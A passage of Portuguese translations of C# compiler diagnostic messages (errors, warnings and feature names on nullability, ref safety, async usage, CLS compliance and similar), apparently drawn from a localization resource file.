tamanho predefinido, portanto, sizeof só pode ser usado em um contexto desprotegido + Caminho de pesquisa inválido "{0}" especificado em "{1}" -- "{2}" + Não é possível converter {0} para o tipo '{1}' porque os tipos de parâmetro não correspondem aos tipos de parâmetro delegados + Somente membros em conformidade com CLS podem ser abstratos + protegido de forma privada + Assembly e módulo "{0}" não podem diferentes processadores como destino. + Uma árvore de expressão não pode conter uma expressão de intervalo ('..'). + O modificador de tipo de referência '{0}' parâmetro não corresponde ao parâmetro correspondente '{1}' no destino. + '{0}' não é um tipo de manipulador de cadeia de caracteres interpolado. + O modificador de tipo de referência '{0}' parâmetro não corresponde ao parâmetro correspondente '{1}' no membro oculto. + A propriedade auto-implementada '{0}' é lida antes de ser explicitamente atribuída, causando uma atribuição implícita anterior de 'default'. + Não é possível aguardar no corpo de uma instrução lock + Um campo somente leitura estático não pode ser usado como um valor ref ou out (exceto em um construtor estático) + Uso da propriedade auto-implementada possivelmente não atribuída. Considere atualizar a versão de linguagem para auto-padrão da propriedade. + Atributo "{0}" não é válido em acessadores de propriedade ou evento. Ele é válido somente em declarações "{1}". + O modificador 'scoped' do parâmetro '{0}' não corresponde ao parâmetro de '{1}'. + A cadeia de caracteres de versão especificada '{0}' contém curingas, que não são compatíveis com o determinismo. Remova os curingas da cadeia de caracteres da versão ou desative o determinismo para esta compilação + A nulidade dos tipos de referência no especificador de interface explícito não corresponde à interface implementada pelo tipo. + Matrizes como argumentos de atributo não tem conformidade com CLS + Alias externo não usado + Número inválido + parâmetros de descarte de lambda + Um resultado de uma expressão stackalloc desse tipo neste contexto pode ser exposto fora do método que o contém + variância de tipo + diretório não existe + Para que "{0}" seja aplicável como um operador de circuito pequeno, seu tipo declarativo "{1}" deve definir o operador verdadeiro e operador falso + descartável + Esperava-se um inicializador de matriz aninhada + Somente tipos de classe podem conter destruidores + Presume-se que a referência do assembly coincide com a identidade + Referência do assembly "{0}" é inválida e não pode ser resolvida + tipo representante inferido + Isso retorna um parâmetro por referência por meio de um parâmetro ref; mas só pode ser retornado com segurança em uma instrução return + Não há um tipo de destino para o literal padrão. + Desconstruir uma atribuição requer uma expressão com um tipo no lado direito. + Alinhamento de seção de arquivo inválido '{0}' + Os métodos anônimos, as expressões lambda, as expressões de consulta e as funções locais dentro de structs não podem acessar membros de instância 'this'. Considere copiar 'this' para uma variável local fora do método anônimo, da expressão lambda, da expressão de consulta ou da função local e usar o local em seu lugar. + Não é possível atribuir a um membro de {0} '{1}' ou usá-lo como o lado direito de uma atribuição ref porque é uma variável somente leitura + A nulidade de tipos de referência no tipo de '{0}' não corresponde ao membro implicitamente implementado '{1}'. + Membro condicional "{0}" não pode implementar membro de interface "{1}" no tipo "{2}" + A nulidade de tipos de referência no tipo de retorno de '{0}' não corresponde ao membro implicitamente implementado '{1}'. + Classe static "{0}" não pode derivar do tipo "{1}". Classes static devem derivar do objeto. + Os campos do campo somente leitura estático '{0}' não podem ser retornados por referência gravável + Tipo "{0}" está definido neste assembly, mas um encaminhador de tipo está especificado para ele + O padrão não está acessível. Ele já foi manipulado por um ARM anterior da expressão do comutador ou não é possível fazer a correspondência. + Uma expressão é muito longa ou complexa para ser compilada + Comentário de linha única ou fim da linha esperado após a diretiva #pragma + "{0}": propriedade de evento deve ter acessadores adicionar e remover + Isso retorna um parâmetro por referência '{0}' mas está no escopo do método atual + { ou ; ou => esperado + O assembly referenciado está direcionado a um processador diferente + A classe coclass wrapper gerenciada "{0}" para a interface "{1}" não pode ser encontrada (está faltando uma referência de assembly?) + "{0}" não implementa o padrão "{1}". "{2}" é ambíguo com "{3}". + Opção inválida '{0}' para /langversion. Use ' / langversion:?' para listar os valores com suporte. + Um nome qualificado para alias não é uma expressão. + Um identificador era esperado. + O tipo '{0}' não está definido. + O valor "goto case" não é implicitamente conversível para o tipo "{0}" + A atribuição em expressão condicional é sempre constante + Membro condicional "{0}" não pode ter um parâmetro out + Não é possível esperar em um contexto sem segurança + A instrução inserida não pode ser uma declaração ou uma instrução rotulada + '{0}' precisa permitir a substituição porque o registro contentor não está selado. + O tipo de valor de nulidade pode ser nulo. + funções locais estáticas + O construtor está marcado como externo + A operação pode estourar em tempo de execução (use a sintaxe 'não verificada' para substituir) + inicializador de coleção + O tipo pré-definido "{0}" não foi definido ou importado + propriedades implementadas automaticamente + reatribuição de ref + Uma expressão do tipo '{0}' não pode ser manipulada por um padrão do tipo '{1}'. Use a versão de linguagem '{2}' ou superior para corresponder a um tipo aberto com um padrão constante. + A chamada dinamicamente vinculada para o método "{0}" pode falhar em runtime porque um ou mais sobrecargas aplicáveis são métodos condicionais. + O tipo ou membro é obsoleto + Construtor "{0}" está marcado como externo + "{0}": classes static não podem implementar interfaces + Estrutura de interoperabilidade inserida "{0}" pode conter apenas campos de instância pública. + Não é possível derivar de "{0}" porque ele é um parâmetro de tipo + O tipo de um local declarado em uma instrução fixed deve ser um tipo de ponteiro + alias externo + Tipo de retorno inválido no atributo cref do comentário XML + O tipo '{0}' não pode ser usado neste contexto porque ele não pode ser representado em metadados. + A nulidade de tipos de referência no tipo de retorno não corresponde ao membro implementado (possivelmente devido a atributos de nulidade). + O atributo CLSCompliant não tem sentido quando aplicado a parâmetros + A anulabilidade em restrições para parâmetro de tipo não corresponde às restrições para parâmetro de tipo em método de interface implicitamente implementado. + O primeiro operando de um operador 'as' não pode ser uma literal de tupla sem nenhum tipo natural. + Variante de instrumentação inválida: {0} + operadores verificados, definidos pelo usuário + Você não pode declarar o namespace no código de script + Uma variável pública, protegida ou protegida internamente deve ser de um tipo em conformidade com a Common Language Specification (CLS). + Declarações parciais de "{0}" têm modificadores de acessibilidade conflitantes + O tipo "{3}" não pode ser usado como parâmetro de tipo "{2}" no tipo ou método genérico "{0}". O tipo "{3}" que permite valores nulos não satisfaz a restrição de "{1}". + Um operador nameof não pode ser interceptado. + Possível comparação de referência inesperada; o lado direito precisa de conversão + Não foi possível gravar no arquivo de saída "{0}" -- "{1}" + Palavra-chave 'this' ou 'base' esperada + O EnumeratorCancellationAttribute não terá efeito. O atributo é eficaz somente em um parâmetro do tipo CancellationToken em um método iterador assíncrono que retorna IAsyncEnumerable + A nulidade de tipos de referência no tipo de retorno '{0}' não corresponde ao membro implementado implicitamente '{1}' (possivelmente devido a atributos de nulidade). + O resultado da expressão é sempre o mesmo, pois um valor deste tipo nunca é 'null' + acesso ao elemento de ponteiro + '{0}' não substitui a propriedade esperada de '{1}'. + Não é possível usar 'yield' no código de script de nível superior + O método assíncrono não possui operadores 'await' e será executado de forma síncrona + O tipo predefinido está definido em vários assemblies no alias global + O nome '_' refere-se ao tipo '{0}', não ao padrão de descarte. Use '@_' para o tipo ou 'var _' para descarte. + Não é possível declarar enumerações, classes e estruturas em uma interface que tenha um parâmetro de tipo 'in' ou 'out'. + "{0}": um argumento de atributo não pode usar parâmetros de tipo + Operador que pode ser sobrecarregado é esperado + Campos do campo estático somente leitura "{0}" não podem ser atribuídos (exceto em um construtor estático ou inicializador de variável) + A expressão de filtro é uma constante ‘true’ + Nenhum arquivo de origem especificado. + "{0}" tem a assinatura incorreta para ser um ponto de entrada + As cláusulas catch não podem seguir a cláusula catch geral de uma instrução try + O método parcial '{0}' precisa ter modificadores de acessibilidade porque ele tem um modificador 'virtual', 'override', 'sealed', 'new' ou 'extern'. + Conversões do manipulador de cadeia de caracteres interpoladas que fazem referência à instância que está sendo indexada não podem ser usadas em inicializadores de membros indexadores. + Argumento ausente + Não é possível converter lambda em uma árvore de expressões cujo argumento de tipo "{0}" não é um tipo delegado + Essa referência atribui um valor que só pode escapar o método atual por meio de uma instrução return. + retorno + A operação em questão não está definida nos ponteiros void + Delegado "{0}" não tem método invoke ou um método invoke com um tipo de retorno ou tipos de parâmetros que não são suportados. + Não é possível criar um tipo genérico construído com base em outro tipo genérico construído. + O campo '{0}' é lido antes de ser explicitamente atribuído, causando uma atribuição implícita anterior de 'default'. + nome do operador + Não é possível obter o endereço, obter o tamanho ou declarar um ponteiro para um tipo gerenciado ("{0}") + Recurso "{0}" não é parte da especificação de idioma ISO C# padronizada e não pode ser aceito por outros compiladores + O atributo '{0}' fornecido em um arquivo de origem conflita com a opção '{1}'. + Você não pode especificar o atributo CLSCompliant em um módulo diferente do atributo CLSCompliant no assembly + operador de deslocamento flexível + Parâmetro {0} não deve ser declarado com a palavra-chave "{1}" + '{0}' foi atribuído com 'UnmanagedCallersOnly' e não pode ser convertido em um tipo delegado. Obtenha um ponteiro de função para esse método. + Não é possível esperar no corpo de uma cláusula finally + Um método interceptor deve ser um método membro comum. + O parâmetro out "{0}" deve ser atribuído antes que o controle saia do método atual + Os registros só podem ser herdados de um objeto ou de outro registro + Um objeto, cadeia de caracteres ou tipo de classe esperado + Uma árvore de expressão não pode conter uma expressão with. + Metadados netmodule vinculados devem fornecer uma imagem completa de PE: "{0}". + Uso do parâmetro out não atribuído "{0}" + Não é recomendável definir um alias denominado 'global' + '{0}': um argumento de tipo de atributo não pode usar parâmetro de tipo + Cadeia de caracteres UTF-8 literais + /platform:anycpu32bitpreferred pode apenas ser usado com /t:exe, /t:winexe e /t:appcontainerexe + O método '{0}' não tem a anotação '[DoesNotReturn]' para corresponder ao membro implementado ou substituído. + Um campo ref só pode ser declarado em uma estrutura ref. + "{0}": uma classe com o atributo ComImport não pode especificar uma classe básica + Como "{1}" tem o atributo ComImport, "{0}" deve ser extern ou abstract + A interpolação deve terminar com o mesmo número de chaves de fechamento que o número de caracteres “$” com o qual a literal da cadeia de caracteres bruta começou. + variável fixed + Conflito de nome para o nome {0} + Cláusula catch anterior já captura todas as exceções desta ou de um super tipo ("{0}") + Uso de campo possivelmente não atribuído "{0}" + Corpos de bloco e de expressão não podem ser ambos fornecidos. + System.Void não pode ser usado no C# -- use typeof(void) para obter o objeto de tipo void + O modo de documentação fornecido não tem suporte ou é inválido: '{0}'. + O operador "{0}" é ambíguo em um operando do tipo "{1}" + A anulabilidade de tipos de referência em tipo de retorno não corresponde ao membro substituído. + O nome do elemento de tupla é ignorado porque um nome diferente ou nenhum nome foi especificado pelo destino de atribuição. + Assembly referenciado sem um nome forte + Um método parcial não pode implementar explicitamente um método de interface + O modificador 'scoped' do parâmetro não corresponde ao destino. + expressão lambda + Não é possível usar "{0}" para o método Main porque ele é importado + O parâmetro de um operador unário deve ser do tipo recipiente + O campo '{0}' deve ser totalmente atribuída antes que o controle seja devolvido ao chamador. Considere atualizar para a versão de linguagem '{1}' para auto-padrão do campo. + O melhor método Adicionar sobrecarregado "{0}" para o elemento do inicializador de coleção está obsoleto. {1} + O comprimento da Constante de cadeia de caracteres resultante da concatenação excede o System.Int32.MaxValue. Tente dividir a cadeia de caracteres em várias constantes. + Especifique o atributo CLSCompliant no assembly, não no módulo, para habilitar a verificação de conformidade com CLS + Assembly referenciado "{0}" não tem um nome forte. + namespace + A chamada é ambígua entre os seguintes métodos ou propriedades: "{0}" e "{1}" + A expressão switch não manipula algumas entradas nulas (ela não é exaustiva). Por exemplo, o padrão '{0}' não é coberto. + Constante de ponto flutuante está fora do intervalo do tipo "{0}" + O delimitador da cadeia de caracteres bruta deve estar em sua própria linha. + Não é possível ler as informações de depuração do método '{0}' (token 0x{1:X8}) do assembly '{2}' + 'UnmanagedCallersOnly' só pode ser aplicado a métodos estáticos comuns não abstratos, não virtuais ou funções locais estáticas. + Não é possível criar um ponteiro de função para '{0}' porque ele não é um método estático + Opção inválida '{0}' para /nullable; precisa ser 'disable', 'enable', 'safeonly', 'warnings' ou 'safeonlywarnings' + Não é possível emitir informações de depuração para um texto de origem sem codificação. + O modificador 'scoped' do parâmetro '{0}' não corresponde ao membro substituído ou implementado. + Opção inválida "{0}"; Visibilidade de recursos deve ser "public" ou "private" + Um valor padrão é especificado para o parâmetro 'ref readonly' '{0}', mas 'ref readonly' deve ser usado somente para referências. Considere declarar o parâmetro como 'in'. + O uso do resultado nesse contexto pode expor variáveis referenciadas por parâmetro fora do seu escopo de declaração + O operador não pode ser usado aqui devido à precedência. + O membro do registro '{0}' precisa ser público. + Não use '{0}'. Isso é reservado para uso do compilador. + Não é possível restaurar o aviso porque ele foi desabilitado globalmente + O parâmetro é capturado no estado do tipo delimitador e seu valor também é usado para inicializar um campo, propriedade ou evento. + __arglist não é permitido na lista de parâmetros dos iteradores + '{0}' não implementa o membro da interface '{1}'. A nulidade dos tipos de referência na interface implementados pelo tipo base não corresponde. + Não é possível converter async {0} para tipo delegate "{1}". Um async {0} podem retornar void, Task ou Task<T>, nenhum dos quais são conversíveis para "{1}". + O uso da variável '{0}' nesse contexto pode expor variáveis referenciadas fora de seu escopo de declaração + Duplicar atributo "{0}" + O tipo '{0}' não pode ser inserido porque tem um membro que não é abstrato. Considere a definição da propriedade 'Inserir Tipos de Interoperabilidade' como false. + O tipo de representante não pôde ser inferido. + O tipo de arquivo local '{0}' não pode ser usado porque o caminho do arquivo que o contém não pode ser convertido na representação de byte UTF-8 equivalente. {1} + Espera-se uma tag de fim para o elemento "{0}". + separador de dígito à esquerda + Os argumentos de tipo não são permitidos no nome do operador. + O nome de tipo ou namespace "{0}" não existe no namespace "{1}" (você está sem uma referência de assembly?) + "{0}": não é possível fornecer argumentos ao criar uma instância de um tipo de variável + Erro ao ler recursos do Win32 -- {0} + O nome do tipo "{0}" não pode ser encontrado no namespace global. Este tipo foi encaminhado para o assembly "{1}" Considere adicionar uma referência a esse assembly. + Não é possível retornar uma expressão do tipo 'void' + Um parâmetro ref ou out não pode ter um valor padrão + O nome do tipo "{0}" não pode ser encontrado. Esse tipo foi encaminhado para o assembly "{1}". Considere adicionar uma referência a esse assembly. + Os iteradores não podem ter locais por referência + As duas declarações de métodos parciais precisam ter combinações idênticas dos modificadores 'virtual', 'override', 'sealed' e 'new'. + Não é possível especificar um valor padrão para o parâmetro 'this' + A expressão fornecida nunca é do ("{0}") tipo fornecido + O comentário XML tem uma tag typeparam, mas não há nenhum parâmetro com esse nome + As duas declarações de métodos parciais devem ser inseguras ou nenhuma delas deve ser desse tipo + atribuição de união + Um tipo base foi marcado como sem necessidade de estar em conformidade com a Common Language Specification (CLS) em um assembly que foi marcado como em conformidade com CLS. Remova o atributo que especifica que o assembly está em conformidade com CLS ou aquele que indica que o tipo não tem conformidade com CLS. + A expressão fornecida sempre corresponde à constante fornecida. + Um método com vararg não pode ser genérico, estar em um tipo genérico ou ter um parâmetro params + 'await' requer que o tipo '{0}' tenha um método 'GetAwaiter' adequado. Está faltando uma diretiva using para 'System'? + ; ou = esperado (não é possível especificar argumentos de construtor na declaração) + O uso do membro do resultado nesse contexto pode expor variáveis referenciadas por parâmetro fora de seu escopo de declaração + A invocação do Indexador de Intervalo implícito não pode nomear o argumento. + com estruturas + O argumento não pode ser usado para o parâmetro devido a diferenças na nulidade dos tipos de referência. + O tipo de retorno do operador True ou False deve ser bool + Este construtor deve adicionar 'SetsRequiredMembers' porque se acorrenta a um construtor que tem esse atributo. + Restrição não pode ser classe especial "{0}" + '{0}': o runtime de destino não dá suporte a tipos de retorno covariantes em substituições. O tipo de retorno precisa ser '{2}' para corresponder ao membro substituído '{1}' + O modificador 'scoped' do parâmetro '{0}' não corresponde ao membro substituído ou implementado. + Tipo "{0}" encaminhado para o assembly "{1}" está em conflito com tipo "{2}" encaminhado para o módulo "{3}". + O argumento deve ser uma variável porque é passado para um parâmetro 'ref readonly' + Valores padrão não são válidos neste contexto. + Um campo ref não pode se referir a um struct ref. + O tipo local de arquivo '{0}' não pode ser usado como um tipo base de tipo não local do arquivo '{1}'. + O representante "{0}" não tem um parâmetro chamado "{1}" + A convenção de chamada 'managed' não pode ser combinada com especificadores de convenção de chamada não gerenciados. + A comparação de ponteiros de função pode gerar um resultado inesperado, pois os ponteiros para a mesma função podem ser diferentes. + "{0}" não tem conformidade com CLS porque a interface base "{1}" não tem conformidade com CLS + Interface de origem "{0}" está sem o método "{1}" que é necessário para incorporar o evento "{2}". + Parâmetro de construtor de atributo "{0}" é opcional, mas nenhum valor de parâmetro padrão foi especificado. + Uma árvore de expressão da expressão lambda não pode conter um operador nulo em propagação. + Alias "{0}" não encontrado + Duplicar inicialização do membro "{0}" + A propriedade de contrato de igualdade do registro '{0}' precisa ter um acessador get. + Opção '{0}' inválida para /debug; deve ser 'portable', 'embedded', 'full' ou 'pdbonly' + Só é possível obter o endereço de uma expressão unfixed dentro de um inicializador de instrução fixed + Para usar '@$' em vez de '$@' em uma cadeia de caracteres verbatim interpolada, use a versão de linguagem {0} ou superior. + "{0}": uma classe com o atributo ComImport não pode especificar inicializadores de campo. + O método parcial '{0}' precisa ter modificadores de acessibilidade porque ele tem parâmetros 'out'. + "{0}": não pode declarar indexadores em uma classe estática + O CallerArgumentExpressionAttribute não tem efeito porque ele se aplica a um membro que é usado em contextos que não aceitam argumentos opcionais + "{0}" já está listado na lista de interfaces + padrão constante de ponteiro nulo + "{0}": propriedade ou indexador deve ter no mínimo um acessador + Variáveis de tipo implícito não podem ser constantes + Uma variável foi declarada com o mesmo nome que uma variável no tipo base. No entanto, a palavra-chave new não foi usada. Este aviso informa que você deve usar new. A variável foi declarada como se new tivesse sido usada na declaração. + Acessibilidade inconsistente: tipo de retorno "{1}" é menos acessível do que o método "{0}" + Campos de instância de structs somente leitura devem ser somente leitura. + Não é possível atribuir ref '{1}' a '{0}' porque '{1}' tem um escopo de escape mais limitado que '{0}'. + O operador '{0}' não pode ser aplicado a operandos do tipo '{1}' e '{2}' que não são representações de bytes UTF-8 + Use Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal para criar tokens literais de caracteres. + Uma árvore de expressão não pode conter um padrão System.Index ou acesso do indexador System.Range + Matrizes como argumentos de atributo não tem conformidade com CLS + Uso do parâmetro out não atribuído + Omitir o argumento de tipo não é permitido no contexto atual + O valor do alinhamento {0} possui uma magnitude maior que {1}, podendo resultar em uma grande cadeia de caracteres formatada. + Uma função local estática não pode conter uma referência a 'this' ou a 'base'. + O parâmetro não está lido. + Uma árvore de expressão não pode conter conversão de cadeia de caracteres UTF-8 ou literal. + declaração de variável externa + Um parâmetro readonly ref não pode ter o atributo Out. + Comparação com constante integral é inútil; a constante está fora do intervalo do tipo "{0}" + 'experimental' + O tipo "{0}" do assembly '{1}' não pode ser usado em limites de assembly porque ele tem um argumento de tipo genérico que é um tipo de interoperabilidade inserido. + O valor constante pode estourar no runtime (use a sintaxe 'unchecked' para substituição) + Parâmetros opcionais lambda + construtores struct sem parâmetros + O parâmetro de um operador unário deve ser do tipo recipiente ou seu parâmetro de tipo restrito a ele. + A função local '{0}' está declarada, mas nunca é usada + O operador as deve ser usado com um tipo de referência ou um tipo que permite valor nulo ("{0}" é um tipo de valor que não permite valor nulo) + O abstract {0} '{1}' não pode ser marcado como virtual + "{0}": classes static não podem conter operadores definidos pelo usuário + O rótulo "{0}" é sombra de outro rótulo com o mesmo nome em um escopo contido + O membro '{1}' substitui '{0}. Há vários candidatos a substituição no runtime. O método que será chamado depende da implementação. Use um runtime mais recente. + Métodos anônimos, expressões lambda, expressões de consulta e funções locais dentro de um membro de instância de um struct não podem acessar o parâmetro do construtor primário + Acessador get ou set esperado + Não use 'System.ParamArrayAttribute'. Use a palavra-chave 'params'. + Novo membro protegido declarado no tipo selado + Tipo encaminhado "{0}" está em conflito com o tipo declarado no módulo primário deste assembly. + Dois assemblies diferem no número de versão. Para que a união ocorra, você deve especificar as diretivas no arquivo .config do aplicativo e fornecer o nome forte correto de um assembly. + O construtor '{0}' não pode chamar a si mesmo por meio de outro construtor + O arquivo referenciado "{0}" não é um assembly + Operador binário sobrecarregado "{0}" obtém dois parâmetros + ou padrão + A função local '{0}' deve ser 'static' para usar o atributo condicional + O atributo Conditional não é válido em "{0}" porque é um método override + Local "{0}" ou seus membros não podem ter seu endereço obtido nem serem usados dentro de uma método anônimo ou expressão lambda + SearchCriteria é esperado. + As interfaces não podem conter constructors de instância + Como "{0}" retorna void, uma palavra-chave return não deve ser seguida por uma expressão de objeto + O operador definido pelo usuário não pode converter um tipo para ele mesmo + Não é possível continuar pois a edição inclui uma referência a um tipo incorporado: '{0}'. + Como esta chamada não é aguardada, a execução do método atual continua antes da conclusão da chamada. Considere aplicar o operador 'await' ao resultado da chamada. + Chamar System.IDisposable.Dispose() na instância alocada de {0} antes que todas as referências a ele fiquem fora do escopo. + Instância alocada de {0} não é descartada ao longo de todos os caminhos de exceção. Chamar System.IDisposable.Dispose() antes que todas as referências a ela estejam fora do escopo. + Nó de sintaxe a ser especulado não pode pertencer a uma árvore de sintaxe da compilação atual. + Atributo de segurança "{0}" tem um valor SecurityAction inválido "{1}" + Um parâmetro de construtor primário de um tipo somente leitura não pode ser atribuído (exceto no setter somente inicialização do tipo ou em um inicializador de variável) + Uma função local estática não pode conter uma referência a '{0}'. + Para converter um valor negativo, é necessário delimitá-lo com parêntesis. + Nome local "{0}" é muito longo para PDB. Considere reduzir ou compilar sem /debug. + Definição de membro, instrução ou final do arquivo esperado + O modificador de tipo de referência '{0}' parâmetro não corresponde ao parâmetro correspondente '{1}' no membro substituído ou implementado. + Uma variável de desconstrução não pode ser declarada como ref local + Como esta chamada não é esperada, a execução do método atual continua antes de a chamada ser concluída + Uma cláusula using deve preceder todos os outros elementos definidos no namespace, exceto as declarações de alias externas + O {0} deve ser uma variável porque é passado para um parâmetro 'ref readonly' + O operador "await" pode somente ser usado em um método assíncrono. Considere a possibilidade de marcar este método com o modificador "async" e alterar seu tipo de retorno para "Task<{0}>". + O membro estático '{0}' não pode ser marcado como 'readonly'. + Um buffer fixo pode ter somente uma dimensão. + UnscopedRefAttribute não pode ser aplicado a parâmetros que tenham um modificador 'scoped'. + Executando a conversão unboxing de um valor possivelmente nulo. + O resultado da expressão é sempre '{0}', pois um valor do tipo '{1}' nunca é igual a "null" do tipo '{2}' + variável + A anulabilidade de tipos de referência no valor do tipo '{0}' não corresponde ao tipo de destino '{1}'. + Não é possível usar o alias "{0}" com "::" porque o alias faz referência a um tipo. Ao invés disso, use ".". + Marcador de conflito de mesclagem encontrado + Referência do assembly Friend "{0}" é inválido. Declarações InternalsVisibleTo não podem ter uma versão, cultura, token de chave pública ou arquitetura de processador especificada. + Não é possível retornar um parâmetro por referência '{0}' por meio de um parâmetro ref; só pode ser retornado em uma instrução return + O programa que usa as instruções de nível superior precisa ser um executável. + Isso retorna um membro do local por referência, mas não é um local de ref + Literal de caractere vazio + As restrições 'class', 'struct', 'unmanaged', 'notnull' e 'default' não podem ser combinadas nem duplicadas e precisam ser especificadas primeiro na lista de restrições. + "{0}" não pode ser adicionado a este assembly porque já é um assembly + Não foi encontrado um tipo melhor para a expressão switch. + Não há suporte para autenticação pública dos netmodules. + '{0}' já está listado na lista de interfaces no tipo '{2}' como '{1}'. + O lado esquerdo de uma atribuição ref deve ser uma variável ref. + Campo ou propriedade não pode ser do tipo "{0}" + Os nomes de elemento de tupla não são permitidos à esquerda de uma desconstrução. + Uma árvore de expressão da expressão lambda não pode conter um grupo de métodos + Esperava-se 'enable', 'disable' ou 'restore' + É ilegal usar o tipo de referência anulável '{0}?' em uma expressão as; use o tipo subjacente '{0}' em seu lugar. + Não é possível associar o representante a "{0}" porque ele é membro de "System.Nullable<T>" + método + Declarações parciais de "{0}" devem ter os mesmos nomes de parâmetro de tipo na mesma ordem + __arglist não pode ter um argumento passado por 'in' ou 'out' + O(s) caractere(s) "{0}" não pode(m) ser usado(s) neste local. + O operador "await" pode somente ser usado em async {0}. Considere a possibilidade de marcar este {0} com o modificador "async". + O primeiro parâmetro de um método de extensão "ref" "{0}" deve ser um tipo de valor ou um tipo genérico restrito a struct. + Referências incompatíveis entre '{0}' e o ponteiro de função '{1}' + Não é possível usar '{0}' como um modificador de convenção de chamada. + Não há suporte ao encadeamento do modelo semântico especulativo. Você deve criar um modelo especulativo com base no ParentModel não especulativo. + Programa tem mais de um ponto de entrada definido. Compilar com /main para especificar o tipo que contém o ponto de entrada. + métodos parciais estendidos + O recurso '{0}' não está disponível em C# 8.0. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 7.2. Use a versão de linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 7.3. Use a versão da linguagem {1} ou superior. + O recurso '{0}' não está disponível em C# 7.1. Use a versão de linguagem {1} ou superior. + O uso de variável neste contexto pode expor variáveis referenciadas fora de seu escopo de declaração + Cadeia de caracteres interpolada esperada + Não é possível incluir fragmento XML "{1}" do arquivo "{0}" -- {2} + O operador de conversão de matriz embutida não será usado para conversão da expressão do tipo declarante. + Tipo "{0}" exportado do módulo "{1}" está em conflito com tipo "{2}" exportado do módulo "{3}". + Uma constante cadeia de caracteres 'null' não é suportada como padrão para '{0}'. Use uma cadeia de caracteres vazia em seu lugar. + Um ponto de entrada não pode ser genérico ou estar em um tipo genérico + '{0}' não tem um método 'Main' estático adequado + O controle é devolvido ao chamador antes que o campo '{0}' seja explicitamente atribuído, causando uma atribuição implícita anterior de 'default'. + Um padrão de desconstrução de elemento único requer alguma outra sintaxe para desambiguação. É recomendado adicionar um designador de descarte '_' após o parêntese de fechamento ')'. + O nome totalmente qualificado para "{0}" é muito longo para informações de depuração. Compile sem a opção "/debug". + Os campos de um struct devem ser totalmente atribuídos em um construtor antes que o controle seja devolvido ao chamador. Considere atualizar a versão de linguagem para auto-padrão do campo. + Os parâmetros opcionais devem aparecer após todos os parâmetros necessários + O aviso está substituindo um erro + Este rótulo não foi usado como referência + A variável "{0}" está declarada, mas nunca é usada + Usar o genérico {1} "{0}" requer {2} argumentos de tipo + O método 'UnmanagedCallersOnly' '{0}' não pode implementar o membro de interface '{1}' no tipo '{2}' + Diretiva #endif esperada + Um goto não pode saltar para um local antes de uma declaração using. + O método atual chama um método assíncrono que retorna uma Tarefa ou uma Tarefa<TResult> e não aplica o operador "await" ao resultado. A chamada ao método assíncrono inicia uma tarefa assíncrona. No entanto, como o operador "await" está aplicado, o programa continua sem aguardar a conclusão da tarefa. Na maioria dos casos, você não deseja esse comportamento. Geralmente, outros aspectos do método da chamada dependem dos resultados da chamada ou, no mínimo, espera-se que o método chamado seja concluído antes que você volte do método que contém a chamada. + +Outra questão importante é o que acontece com as exceções que são acionadas no método assíncrono chamado. As exceções acionadas em métodos que retornam uma Task ou Task<TResult> são armazenadas na tarefa retornada. Se você não aguardar a tarefa ou verificar explicitamente se há exceções, a exceção se perde. Se você aguardar a tarefa, a exceção é gerada novamente. + +Como melhor prática, recomendamos que você sempre aguarde a chamada. + +Você pode suprimir o aviso se tiver certeza de que não vai querer aguardar a conclusão da chamada assíncrona e de que o método da chamada não gerará exceções. Nesse caso, você pode atribuir o resultado de uma tarefa da chamada a uma variável para suprimir o aviso. + expressão de consulta + O membro do registro '{0}' precisa ser protegido. + Valor inválido para o argumento ao atributo "{0}" + Assembly desconhecido não pode ter um módulo específico de processador "{0}". + Um especificador de formato não pode conter espaço em branco à direita. + UnscopedRefAttribute não pode ser aplicado a este parâmetro porque não tem escopo por padrão. + O tipo '{0}' pode não ser usado como o tipo de destino de new() + Argumentos InterpolatedStringHandlerArgumentAttribute não podem fazer referência ao parâmetro no qual o atributo é usado. + A variável é atribuída, mas seu valor nunca é usado + Um acessador add ou remove deve ter corpo + 'A implementação de método explícito "{0}" não pode implementar "{1}" porque é um acessador + O membro implementa o membro de interface com várias correspondências no tempo de execução + O comentário XML tem uma tag param duplicada para "{0}" + O nome de enumerador "{0}" é reservado e não pode ser usado + Uma árvore de expressão da expressão lambda não pode conter um inicializador de dicionário. + A literal da cadeia de caracteres bruta interpolada não começa com caracteres “$” suficientes para permitir esse número de chaves de fechamento consecutivas como conteúdo. + O método 'Slice' da matriz embutida não será usado para a expressão de acesso ao elemento. + O membro "{0}" não oculta um membro acessível. A palavra-chave new não é necessária. + As especificações de argumentos nomeados devem aparecer depois que todos os argumentos fixos forem especificados em uma invocação dinâmica. + "{0}": classes static não podem ser utilizadas como parâmetros + Um número que foi passado para a diretiva de pré-processador de aviso #pragma não era um número de aviso válido. Verifique se o número representa um aviso, não um erro. + aguardar em blocos variáveis e blocos finais + A nulidade de tipos de referência no tipo de retorno não corresponde ao delegado de destino (possivelmente devido a atributos de nulidade). + "{0}": um ponto de entrada não pode ser genérico ou estar em um tipo genérico + "{0}" não implementa membro de interface "{1}" + "{0}" não contém uma definição para "{1}" e a melhor sobrecarga do método de extensão "{2}" requer um receptor do tipo "{3}" + #r somente é permitido em scripts + Não é possível passar um argumento com tipo dinâmico para função local genérica '{0}' com argumentos de tipo inferidos. + A posição final da diretiva #line deve ser maior ou igual à posição inicial + Árvore de sintaxe já está presente + O parâmetro do construtor primário é sombreado por um membro da base + A propriedade auto-implementada '{0}' deve ser totalmente atribuída antes que o controle seja devolvido ao chamador. Considere atualizar para a versão de linguagem '{1}' para auto-padrão da propriedade. + Uso de campo possivelmente não atribuído. Considere atualizar a versão de linguagem para auto-padrão do campo. + Desreferência de uma referência possivelmente nula. + Nome de saída inválido: {0} + A classe com o atributo ComImport não pode ter um construtor definido pelo usuário + O nome do método CollectionBuilderAttribute é inválido. + A expressão de retorno deve ser do tipo '{0}' porque esse método é retornado por referência + Os membros do parâmetro de construtor primário "{0}" de um tipo somente leitura não podem ser usados como um valor ref ou out (exceto no setter somente inicialização do tipo ou em um inicializador de variável) + Propriedades autoimplementadas devem ter acessadores get. + Identificador "{0}" não tem conformidade com CLS + O tipo de retorno para o operador ++ ou -- deve corresponder ao tipo de parâmetro, ser derivado do tipo de parâmetro ou ser o parâmetro de tipo do tipo recipiente restrito a ele a menos que o tipo de parâmetro seja um parâmetro de tipo diferente. + O operador de conversão de matriz embutida não será usado para conversão da expressão do tipo declarante. + Erro ao ler as informações de depuração para '{0}' + A árvore de expressão não pode conter um valor de struct de referência ou o tipo restrito '{0}'. + Classes static não podem 